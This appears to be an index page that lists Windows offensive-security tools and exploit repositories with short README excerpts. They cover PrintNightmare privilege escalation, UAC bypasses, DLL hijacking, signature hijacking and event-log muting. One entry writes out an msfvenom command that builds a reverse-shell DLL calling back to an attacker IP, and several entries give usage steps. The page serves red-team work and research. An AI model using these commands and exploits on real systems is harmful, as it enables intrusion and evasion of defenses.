TotalRecall

TotalRecall Reloaded Breaking Windows Recall. Again. image When Microsoft redesigned Recall with VBS enclaves, AES-256-GCM encryption, Windows Hello authentication, and a Protected Process Light host, the message was clear: the data is locked in a vault. The vault is solid. The delivery truck is...

Digital-Signature-Hijack

Digital Signature Hijack Hijacking legitimate digital signatures is a technique that can be used during red team assessments in order to sign PowerShell code and binaries. This could assist to bypass Device Guard restrictions and maintain stealthy in an engagement. DigitalSignatureHijack is a...

CVE-2021-1675-LPE-EXP

CVE-2021-1675-LPE-EXP Simple LPE Exploit of CVE-2021-1675 Usage CVE-2021-1675-LPE.exe C:\test\MyPigDLL.dll MyPigDLL.dll,is a test DLL which will create C:\test.txt if succeed Notice 1. Add EnumPrinterDriversW for get pDriverPath, so We dont need change the "hardcode Driver path" everytime 2. Dont...

TangledWinExec

Tangled WinExec This repository is for investigation of Windows process execution techniques. Most of PoCs are given a name corresponding to the technique. Projects BlockingDLL : This toolset is for testing blocking DLL process. See README.md. CloneProcess : This directory is for process forking...

Evasor

Overview The Evasor is an automated security assessment tool which locates existing executables on the Windows operating system that can be used to bypass any Application Control rules. It is very easy to use, quick, saves time and fully automated which generates for you a report including...

IDiagnosticProfileUAC

IDiagnosticProfileUAC Just another UAC bypass using auto-elevated COM object Virtual Factory for DiagCpl 12C21EA7-2EB8-4B55-9249-AC243DA8C666. This COM object can be used to create instance of DiagnosticProfile D0B7E02C-E1A3-11DC-81FF-001185AE5E76 COM object which exposes SaveDirectoryAsCab metho...

ExportHider

ExportHider ExportHider generates a C++ DLL template which contains a code stub that allows you to hide Exported Functions from the Export Directory of the DLL on the filesystem. After putting the function definitions and compiling the file, you won't see the hidden export functions through PE Fi...

SharpPN

C PrintNightmare CVE-2021-1675 You'll need a DLL to use SharpPN. So once you have that, just build and specify the dll path in the command-line arguments. Build You can build yourself with C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe -out:SharpPN.exe C:\Path\to\Program.cs or by opening the...

IOBitMalwareFighterDLL

Malware Fighter LPE 0 day LPE I found in IObit Malware Fighter v. 13.2.0. Writup: https://nathan2.com/files/iobit.pdf Overall info: https://nathan2.com/posts/iobit/ Compile the DLL as x86 and name it Register.dll. Then place it in your system's Path. By default that is...

CVE-2026-21508_POC

Proof-of-concept for CVE-2026-21508 For more information see: https://0xc4r.github.io/posts/CVE-2026-21508 Descrption: Proof-of-concept consist in a simple batch script and a DLL project: The DLL will be used to perform the DLL hijacking attack and will mainly perform the following actions when...

CVE-2021-1675-PrintNightmare

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | June 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare." Proof-of-concept exploits have been released Python, C++ for the remote code execution...

ghostdebug

GhostDebug GhostDebug is a Windows x64 debugger prototype composed of a native debugging DLL and a .NET Framework command-line client. It is intended for debugging targets that use debugger-detection checks. For background on the design, see Developing an undetected debugger on Windows...

EvtMute

EvtMute This is a tool that allows you to offensively use YARA to apply a filter to the events being reported by windows event logging. Usage Grap the latest verison from here. EvtMuteHook.dll contains the core functionality, once it is injected it will apply a temporary filter which will allow a...

WFH

Windows Feature Hunter WFH Windows Feature Hunter WFH is a proof of concept python script that uses Frida, a dynamic instrumentation toolkit, to assist in potentially identifying common “vulnerabilities” or “features” within Windows executables. WFH currently has the capability to automatically...

ThemeBleedPy

A huge thanks to gabek for the initial PoC in C, and actually finding this CVE, this is a remake of his code in python, reusing his stage files. To see the initial PoC view his page for it here: https://github.com/gabe-k/themebleed ThemeBleedPy A proof of concept using python for the CVE-2023-381...

rustdllproxy

rustdllproxy A Rust crate utility to easily generate and develop proxy DLLs for Windows applications. Installation cargo install rustdllproxy Compatibility This crate currently only supports the standard DLL PE format. Current Limitations When hooking functions with custom code, the function...

CVE-2022-27502

RealVNC server up to 6.9.0 DLL Hijacking Exploit CVE-2022-27502 You can use pre-compiled version 64-bit of it from HERE Copy it to %TEMP% and initiate a repair of RealVNC Server from add or remove programs. It will write the output of whoami command in %TEMP%\output.txt If you want to change the...

Crassus

Crassus Windows privilege escalation discovery tool Quick start 1. In Process Monitor, select the Enable Boot Logging option. 2. Reboot. 3. Once you have logged in and Windows has settled, run Process Monitor once again. 4. When prompted, save the boot log, e.g., to raw.PML. 5. Reset the default...

CVE-2026-66804-CrossDevice-Service-EoP

CVE-2026-66804: Cross Device Virtual Camera EoP I independently discovered and reported the issue now tracked as CVE-2026-66804. MSRC confirmed my submission as a duplicate of an earlier report with the same underlying Windows Camera FrameServer root cause. A standard Windows user can create a...

NimNightmare

CVE-2021-1675 LPE PoC not my exploit! just wanted to play around with the winim library in nim. Usage Generate DLL payload with msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, then start the handler on your attacker. On the victim run .\nimnightmare.exe...